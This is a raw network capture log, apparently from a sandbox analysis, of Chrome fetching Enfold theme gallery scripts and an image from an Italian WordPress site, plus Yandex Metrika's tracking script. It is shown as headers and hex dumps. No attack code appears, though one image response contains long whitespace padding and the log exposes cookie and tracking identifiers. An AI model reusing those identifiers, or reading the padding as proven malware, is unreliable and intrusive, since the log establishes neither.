08 98 54 8d e8 1e 6f f8 06 f9 a1 cb d7 ff 94 00 d2 20 5c d8 9c a9 76 f6 13 7a 2e f0 0e Data Ascii: kgosLJ9Et(!`YtSx,gA"`AKE_[W{XK5.0xg0.Xl#);E_H?W{.8js^77`WR79KE)]Iex*\sLT?o_Rt' =80R pL8ySTo \vz.
2025-01-09 12:19:27 UTC	1390	IN	Data Raw: 17 b7 dd 21 e4 02 00 08 86 c4 9c b9 8c f9 3b 72 01 00 04 43 e2 c4 ed 34 e9 8c 0f 0e 0e b2 2c 06 00 08 86 c4 ad b9 38 c8 05 00 10 0c 89 26 17 6a 2e 00 80 60 48 f4 65 31 6a 2e 00 80 60 48 f4 99 0b 35 17 00 40 30 a4 34 72 61 e6 02 00 08 86 44 af b9 48 3a 8c 5c 20 90 65 d9 fc 04 00 c1 90 18 cf b9 b0 5b 0c a6 09 67 cc 59 30 db 3b 3a 3a 16 25 00 08 86 b0 15 19 62 d1 d7 d7 57 ef d3 1b c6 fd 2a 86 26 24 03 08 86 50 73 81 28 b4 b5 b5 2d 93 74 73 78 78 38 ec 28 9c 70 ff 38 c9 a9 d9 80 60 c8 1f d5 5c 24 3d f2 a9 c8 d4 5c e0 07 cd cd cd f3 dc 37 4e 85 ad ea df cf a0 2b 48 9a 70 1a 99 c9 00 82 21 bf 4c f8 df 53 73 81 62 a4 69 ba de e3 73 34 88 25 f4 95 19 92 79 e3 ef 27 98 c9 00 82 21 b9 91 34 15 17 70 cf 38 4b 13 80 ef 84 9b 0d f7 91 8b 33 e4 32 4b 32 1e b3 af 79 83 Data Ascii: !;rC4,8&j.`He1j.`H5@04raDH:\ e[gY0;::%bW*&$Ps(-tsxx8(p8`\$=\7N+Hp!LSsbis4%y'!4p8K32K2y
2025-01-09 12:19:27 UTC	1390	IN	Data Raw: 4d 91 fd f2 9d 6b 59 ee f6 7a 3a bc bf 7c bb d5 63 7f 09 91 f9 c0 63 c5 5a 44 06 43 60 a0 e4 29 cd 3e 1e 77 1f e8 f5 40 7a 5f 5f 5f df f2 9e 9e 9e cb 33 19 84 c5 2c b3 97 b7 c5 ed 73 50 d2 29 b7 55 bd ff 28 09 91 19 71 3f 59 83 c8 60 08 0c 94 9c 9f c9 e7 13 26 24 ed 77 8e e1 09 7b 35 2b f3 93 01 ea 69 20 89 12 2f 8d 21 2c 16 da 47 25 bd 67 fe cc 4f 92 a8 fb 7e 52 10 19 49 c3 23 23 23 eb 10 19 0c 81 81 b9 78 34 53 3e 7e 22 69 bb 69 1d 1d 1d 5d 9a f7 6a 2e aa d5 bd 5a 62 ca b1 eb b8 35 d9 63 79 d2 9f 7d 50 d2 1f 08 4b d1 75 32 39 1f 87 c3 93 61 da 3b 86 c0 c0 5c a7 36 07 87 dd 37 de 70 1f 79 cc ac 8d 15 eb 31 fb 2c 06 96 1a d8 17 bf d1 9f e9 6a 49 77 f8 73 ef 8c 15 ec 92 72 f1 d9 f9 3e 94 24 32 43 ee 0f ab f1 64 30 04 06 e6 2c 34 81 a4 d3 ee 27 df 98 d7 25 Data Ascii: MkYz:\|ccZDC`)>w@z___3,sP)U(q?Y`&$w{5+i /!,G%gO~RI###x4S>~"ii]j.Zb5cy}PKu29a;\67py1,jIwsr>$2Cd0,4'%
2025-01-09 12:19:27 UTC	1390	IN	Data Raw: fd e5 44 34 46 20 10 8c e6 ff 5e 06 f8 7b b6 b9 96 c5 ae 15 9f 35 76 59 c1 a1 d7 8b 82 0d cd 64 56 f7 63 fb 32 00 71 3b 73 b1 05 73 9e fb 9f 10 d1 38 81 40 30 ba e5 c2 1c e5 fe 0a b7 5c ae 9d 59 79 d6 b8 0f 0a 9b df 2d 32 ea 7f 97 2a 84 33 32 00 c4 a1 5c 78 59 fc 22 f7 f3 89 28 45 20 10 8c 07 72 f9 83 bf 5f 3a 11 4d 16 37 98 d4 cf ac 94 74 df c1 2c bf 51 7f 9c 54 15 24 03 40 7c cd 5c da b9 f5 0f 8f 7d 04 82 d1 5d 73 b1 e5 c2 fd 8c 91 fc 82 3d 99 dd 39 31 a3 e8 e0 ea 52 d9 70 5c aa ca 41 48 06 80 b8 98 b9 74 70 3f 10 0c 06 ef 17 08 04 e3 45 cd c5 96 4b 20 10 98 22 46 98 39 9f 76 dd b3 d2 df bc 76 9b b1 eb 94 54 38 ed 0f c0 28 97 4b 27 b7 c1 48 24 f2 80 40 20 18 0f 96 c5 6c b9 ac 70 e4 a2 23 4f e7 74 df 9b e9 fb 65 3d 4b e6 0c 99 21 cc 64 00 18 85 72 61 ba Data Ascii: D4F ^{5vYdVc2q;ss8@0\Yy-2*32\xY"(E r_:M7t,QT$@\|\}]s=91Rp\AHtp?EK "F9vvT8(K'H$@ lp#Ote=K!dra

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.16	49820	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	670	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery/gallery.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 2497 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	2497	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 09 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 09 2f 2f 20 47 61 6c 6c 65 72 79 20 73 68 6f 72 74 63 6f 64 65 20 6a 61 76 61 73 63 72 69 70 74 0a 09 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: (function($){ "use strict";// -------------------------------------------------------------------------------------------// Gallery shortcode javascript// -----------------------------------------------------------------------------------------

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.16	49823	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	444	OUT	GET /wp-content/uploads/2019/05/Cipasso_simbolo3.png HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	271	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: image/png Content-Length: 25096 Connection: close Last-Modified: Tue, 28 May 2019 12:42:53 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	16113	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 4d 00 00 00 32 08 06 00 00 00 d8 f3 89 64 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 0a ac 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da ad 96 77 54 93 59 1a c6 df ef fb d2 0b 2d 21 02 52 42 6f 82 14 e9 d2 6b e8 d2 c1 46 48 20 09 84 18 42 82 8a a8 a8 0c 8e e0 58 10 11 01 65 44 46 44 14 1c 0b 20 63 41 2c 58 18 04 7b 1f 90 41 45 5d 07 0b 36 54 f6 0f 96 b0 7b 76 f7 8f 3d 67 df 73 ee 39 bf f3 9c 7b 9f fb be f7 fe f3 00 d0 4e 72 a5 52 31 aa 06 90 2d 91 cb 62 82 fd d8 49 c9 29 6c e2 10 20 80 01 80 15 90 b8 bc 5c a9 6f 74 74 38 fc d7 fa 70 1b 10 00 80 1b 36 5c a9 54 0c ff 5b a9 f3 d3 73 79 00 48 34 00 a4 f1 73 79 d9 00 c8 31 00 a4 9e 27 95 Data Ascii: PNGIHDRM2dpHYsiCCPPhotoshop ICC profilexwTY-!RBokFH BXeDFD cA,X{AE]6T{v=gs9{NrR1-bI)l \ott8p6\T[syH4sy1'
2025-01-09 12:19:27 UTC	8983	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.16	49822	89.46.108.67	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	692	OUT	GET /wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9 HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cjs_id=097be2dd-7dc7-422c-9982-4234373a85ec
2025-01-09 12:19:27 UTC	276	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Thu, 09 Jan 2025 12:19:27 GMT Content-Type: text/javascript Content-Length: 5081 Connection: close Last-Modified: Mon, 18 Mar 2019 15:16:30 GMT Accept-Ranges: bytes X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400
2025-01-09 12:19:27 UTC	5081	IN	Data Raw: 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 2f 2f 20 48 6f 72 69 7a 6f 6e 74 61 6c 20 47 61 6c 6c 65 72 79 0a 2f 2f 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 0a 7b 20 0a 09 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 09 24 2e 66 6e 2e 61 76 69 61 Data Ascii: // -------------------------------------------------------------------------------------------// Horizontal Gallery// -------------------------------------------------------------------------------------------(function($){ "use strict";$.fn.avia

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.16	49825	87.250.251.119	443	6904	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 12:19:26 UTC	530	OUT	GET /metrika/tag.js HTTP/1.1 Host: mc.yandex.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.cipassoitalia.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 12:19:27 UTC	1327	IN	HTTP/1.1 200 OK Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=3600 Connection: Close Content-Length: 227261 Content-Type: application/javascript Date: Thu, 09 Jan 2025 12:19:27 GMT ETag: "67655eba-377bd" Expires: Thu, 09 Jan 2025 13:19:27 GMT Last-Modified: Fri, 20 Dec 2024 12:10:34 GMT Set-Cookie: _yasc=TB/tzdXGPs3tp90qHiesImSvfjAVsRuqbcMhFqaTq2W2KrOz3EDvwNo3BhNaXYs/mL+u; domain=.yandex.ru; path=/; expires=Sun, 07 Jan 2035 12:19:27 GMT; secure Set-Cookie: i=6wleOrWhjK8noyzjZuCs3wh1NvauUmnyDHLt7gSHpkr4lPwlwBxZwxSakIgXLQz7L6UWBlx+HC87B6D/KLjv8fwipoA=; Expires=Sat, 09-Jan-2027 12:19:27 GMT; Domain=.yandex.ru; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: yandexuid=261293701736425167; Expires=Sat, 09-Jan-2027 12:19:27 GMT; Domain=.yandex.ru; Path=/; Secure; SameSite=None Set-Cookie: yashr=7067508691736425167; Path=/; Domain=.yandex.ru; Expires=Fri, 09 Jan 2026 12:19:27 GMT; SameSite=None; Secure; HttpOnly Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: *
2025-01-09 12:19:27 UTC	7441	IN	Data Raw: ef bb bf 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 4c 61 28 62 61 29 7b 76 61 72 20 74 61 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 61 3c 62 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 62 61 5b 74 61 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 62 61 29 7b 76 61 72 20 74 61 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 62 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 74 61 29 72 65 74 75 72 6e 20 74 61 2e 63 61 6c 6c 28 62 61 29 3b 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 61 2e 6c 65 6e 67 74 68 Data Ascii: (function(){function La(ba){var ta=0;return function(){return ta<ba.length?{done:!1,value:ba[ta++]}:{done:!0}}}function u(ba){var ta="undefined"!=typeof Symbol&&Symbol.iterator&&ba[Symbol.iterator];if(ta)return ta.call(ba);if("number"==typeof ba.length
2025-01-09 12:19:27 UTC	8168	IN	Data Raw: 57 68 28 61 29 7b 72 65 74 75 72 6e 20 47 28 61 29 26 26 28 31 38 3d 3d 3d 61 5b 30 5d 7c 7c 31 39 3d 3d 3d 61 5b 30 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 71 61 28 61 2c 62 29 7b 69 66 28 4e 28 62 29 7c 7c 22 5b 6f 62 6a 65 63 74 20 4e 75 6d 62 65 72 5d 22 3d 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2e 63 61 6c 6c 28 62 29 7c 7c 21 21 62 3d 3d 3d 62 7c 7c 59 68 28 62 29 29 72 65 74 75 72 6e 20 59 68 28 62 29 3f 6e 75 6c 6c 3a 62 3b 69 66 28 5a 68 28 62 29 29 7b 76 61 72 20 63 3d 75 28 62 29 3b 63 2e 6e 65 78 74 28 29 3b 63 3d 63 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 3b 63 3d 24 68 28 61 2c 63 29 3b 69 66 28 21 63 29 74 68 72 6f 77 20 5a 28 22 76 6e 64 22 29 3b 72 65 74 75 72 6e 20 63 2e 76 61 6c 75 65 7d 69 66 28 47 Data Ascii: Wh(a){return G(a)&&(18===a[0]\|\|19===a[0])}function qa(a,b){if(N(b)\|\|"[object Number]"===Object.prototype.toString.call(b)\|\|!!b===b\|\|Yh(b))return Yh(b)?null:b;if(Zh(b)){var c=u(b);c.next();c=c.next().value;c=$h(a,c);if(!c)throw Z("vnd");return c.value}if(G
2025-01-09 12:19:27 UTC	8168	IN	Data Raw: 7c 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 61 63 74 69 6f 6e 22 29 7c 7c 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 72 65 66 22 29 7c 7c 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 7c 7c 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6f 64 65 22 29 7c 7c 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6f 64 65 62 61 73 65 22 29 7c 7c 22 22 3b 63 3d 7b 65 6c 65 6d 65 6e 74 3a 63 2c 65 6c 65 6d 65 6e 74 43 6c 61 73 73 65 73 3a 61 2c 65 6c 65 6d 65 6e 74 54 65 78 74 3a 64 2c 65 6c 65 6d 65 6e 74 49 64 3a 65 2c 65 6c 65 6d 65 6e 74 55 72 6c 3a 66 2c 72 6a 3a 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 66 6f 72 6d 54 61 72 67 65 74 22 29 7c 7c 63 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 72 67 65 74 22 29 Data Ascii: \|c.getAttribute("action")\|\|c.getAttribute("href")\|\|c.getAttribute("src")\|\|c.getAttribute("code")\|\|c.getAttribute("codebase")\|\|"";c={element:c,elementClasses:a,elementText:d,elementId:e,elementUrl:f,rj:c.getAttribute("formTarget")\|\|c.getAttribute("target")
2025-01-09 12:19:27 UTC	8168	IN	Data Raw: 65 65 3a 21 30 7d 29 3b 6b 3d 49 28 6c 2e 64 69 73 63 6f 6e 6e 65 63 74 2c 6c 29 7d 7d 29 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 6b 26 26 6b 28 29 3b 7a 28 7a 61 2c 67 29 3b 4d 63 28 67 29 3b 4d 63 28 66 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 71 6f 28 61 2c 62 2c 63 2c 64 29 7b 62 3d 64 2e 43 28 22 63 63 22 29 3b 64 3d 46 28 5b 22 63 63 22 2c 22 22 5d 2c 64 2e 44 29 3b 69 66 28 62 29 7b 76 61 72 20 65 3d 75 28 62 2e 73 70 6c 69 74 28 22 26 22 29 29 3b 62 3d 65 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 3b 28 65 3d 28 65 3d 65 2e 6e 65 78 74 28 29 2e 76 61 6c 75 65 29 26 26 4d 61 28 65 29 29 26 26 31 34 34 30 3c 6e 61 28 61 29 28 74 62 29 2d 65 3f 64 28 29 3a 63 2e 44 28 22 63 63 22 2c 62 29 7d 65 6c 73 65 20 47 61 28 30 29 28 62 29 7c 7c 64 Data Ascii: ee:!0});k=I(l.disconnect,l)}}));return function(){k&&k();z(za,g);Mc(g);Mc(f)}}function qo(a,b,c,d){b=d.C("cc");d=F(["cc",""],d.D);if(b){var e=u(b.split("&"));b=e.next().value;(e=(e=e.next().value)&&Ma(e))&&1440<na(a)(tb)-e?d():c.D("cc",b)}else Ga(0)(b)\|\|d
2025-01-09 12:19:27 UTC	8168	IN	Data Raw: 53 62 28 65 29 3a 63 2e 70 64 3d 63 2e 70 64 2e 63 6f 6e 63 61 74 28 65 29 7d 3b 74 68 69 73 2e 6c 3d 61 3b 76 61 72 20 64 3d 6d 67 28 61 2c 74 68 69 73 2c 22 52 22 29 3b 74 68 69 73 2e 79 65 3d 64 2e 4a 28 74 68 69 73 2e 79 65 2c 22 73 22 29 3b 74 68 69 73 2e 62 61 3d 64 2e 4a 28 74 68 69 73 2e 62 61 2c 22 73 64 22 29 3b 64 3d 4b 28 61 29 3b 64 2e 43 28 22 77 76 32 65 22 29 26 26 78 65 28 29 3b 64 2e 44 28 22 77 76 32 65 22 2c 21 30 29 3b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 62 3b 74 68 69 73 2e 52 61 3d 6f 61 28 61 29 3b 74 68 69 73 2e 4e 64 3d 6e 65 77 20 76 62 28 74 68 69 73 2e 6c 2c 62 29 3b 74 68 69 73 2e 4d 67 3d 50 6f 28 61 29 3b 74 68 69 73 2e 54 65 3d 45 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 66 3d 75 28 65 29 3b 65 3d 66 2e 6e 65 Data Ascii: Sb(e):c.pd=c.pd.concat(e)};this.l=a;var d=mg(a,this,"R");this.ye=d.J(this.ye,"s");this.ba=d.J(this.ba,"sd");d=K(a);d.C("wv2e")&&xe();d.D("wv2e",!0);this.options=b;this.Ra=oa(a);this.Nd=new vb(this.l,b);this.Mg=Po(a);this.Te=E(function(e){var f=u(e);e=f.ne
2025-01-09 12:19:27 UTC	8168	IN	Data Raw: 68 3b 66 6f 72 28 76 61 72 20 74 3d 30 2c 76 3d 32 35 35 2c 4a 3d 32 35 35 2c 50 2c 61 61 2c 57 62 3b 72 3b 29 7b 50 3d 32 31 3c 72 3f 32 31 3a 72 3b 72 2d 3d 50 3b 64 6f 20 61 61 3d 22 73 74 72 69 6e 67 22 3d 3d 3d 74 79 70 65 6f 66 20 6d 3f 6d 2e 63 68 61 72 43 6f 64 65 41 74 28 74 29 3a 6d 5b 74 5d 2c 74 2b 3d 31 2c 32 35 35 3c 61 61 26 26 28 57 62 3d 61 61 3e 3e 38 2c 61 61 26 3d 32 35 35 2c 61 61 5e 3d 57 62 29 2c 76 2b 3d 61 61 2c 4a 2b 3d 76 3b 77 68 69 6c 65 28 2d 2d 50 29 3b 76 3d 28 76 26 32 35 35 29 2b 28 76 3e 3e 38 29 3b 4a 3d 28 4a 26 32 35 35 29 2b 28 4a 3e 3e 38 29 7d 6d 3d 28 76 26 32 35 35 29 2b 28 76 3e 3e 38 29 3c 3c 38 7c 28 4a 26 32 35 35 29 2b 28 4a 3e 3e 38 29 3b 72 65 74 75 72 6e 20 67 28 41 28 7b 7d 2c 68 2c 7b 4e 3a 7b 61 61 3a Data Ascii: h;for(var t=0,v=255,J=255,P,aa,Wb;r;){P=21<r?21:r;r-=P;do aa="string"===typeof m?m.charCodeAt(t):m[t],t+=1,255<aa&&(Wb=aa>>8,aa&=255,aa^=Wb),v+=aa,J+=v;while(--P);v=(v&255)+(v>>8);J=(J&255)+(J>>8)}m=(v&255)+(v>>8)<<8\|(J&255)+(J>>8);return g(A({},h,{N:{aa:
2025-01-09 12:19:27 UTC	8168	IN	Data Raw: 3b 74 68 69 73 2e 47 62 3d 7b 7d 3b 74 68 69 73 2e 74 62 3d 7b 22 73 63 68 65 6d 61 2e 6f 72 67 22 3a 22 41 72 74 69 63 6c 65 20 4e 65 77 73 41 72 74 69 63 6c 65 20 4d 6f 76 69 65 20 42 6c 6f 67 50 6f 73 74 69 6e 67 20 52 65 76 69 65 77 20 52 65 63 69 70 65 20 41 6e 73 77 65 72 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 48 66 3a 5b 22 61 72 74 69 63 6c 65 22 5d 7d 3b 76 61 72 20 64 3d 7b 7d 3b 74 68 69 73 2e 47 65 3d 28 64 2e 41 6e 73 77 65 72 3d 33 2c 64 2e 52 65 76 69 65 77 3d 32 2c 64 29 3b 74 68 69 73 2e 61 66 3d 77 28 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 7b 7d 3b 50 62 28 63 2e 6c 2c 63 2e 77 61 2c 22 70 66 69 22 2c 28 68 2e 66 69 65 6c 64 3d 65 2c 68 2e 69 74 65 6d 46 69 65 6c 64 3d 66 2c 68 2e 76 61 6c 75 65 3d 67 2c 68 29 Data Ascii: ;this.Gb={};this.tb={"schema.org":"Article NewsArticle Movie BlogPosting Review Recipe Answer".split(" "),Hf:["article"]};var d={};this.Ge=(d.Answer=3,d.Review=2,d);this.af=w(function(e,f,g){var h={};Pb(c.l,c.wa,"pfi",(h.field=e,h.itemField=f,h.value=g,h)
2025-01-09 12:19:27 UTC	8168	IN	Data Raw: 6f 6e 74 69 6e 75 65 7d 64 5b 65 2b 2b 5d 3d 62 3e 3e 36 7c 31 39 32 7d 65 6c 73 65 7b 69 66 28 35 35 32 39 36 3d 3d 3d 28 62 26 36 34 35 31 32 29 26 26 35 36 33 32 30 3d 3d 3d 28 28 66 3d 63 2e 63 68 61 72 43 6f 64 65 41 74 28 68 2b 31 29 29 26 36 34 35 31 32 29 29 7b 69 66 28 61 29 7b 67 2b 3d 34 3b 63 6f 6e 74 69 6e 75 65 7d 62 3d 36 35 35 33 36 2b 28 28 62 26 31 30 32 33 29 3c 3c 31 30 29 2b 28 66 26 31 30 32 33 29 3b 2b 2b 68 3b 64 5b 65 2b 2b 5d 3d 62 3e 3e 31 38 7c 32 34 30 3b 64 5b 65 2b 2b 5d 3d 62 3e 3e 31 32 26 36 33 7c 31 32 38 7d 65 6c 73 65 7b 69 66 28 61 29 7b 67 2b 3d 33 3b 63 6f 6e 74 69 6e 75 65 7d 64 5b 65 2b 2b 5d 3d 62 3e 3e 31 32 7c 0a 32 32 34 7d 64 5b 65 2b 2b 5d 3d 62 3e 3e 36 26 36 33 7c 31 32 38 7d 64 5b 65 2b 2b 5d 3d 62 26 36 Data Ascii: ontinue}d[e++]=b>>6\|192}else{if(55296===(b&64512)&&56320===((f=c.charCodeAt(h+1))&64512)){if(a){g+=4;continue}b=65536+((b&1023)<<10)+(f&1023);++h;d[e++]=b>>18\|240;d[e++]=b>>12&63\|128}else{if(a){g+=3;continue}d[e++]=b>>12\|224}d[e++]=b>>6&63\|128}d[e++]=b&6
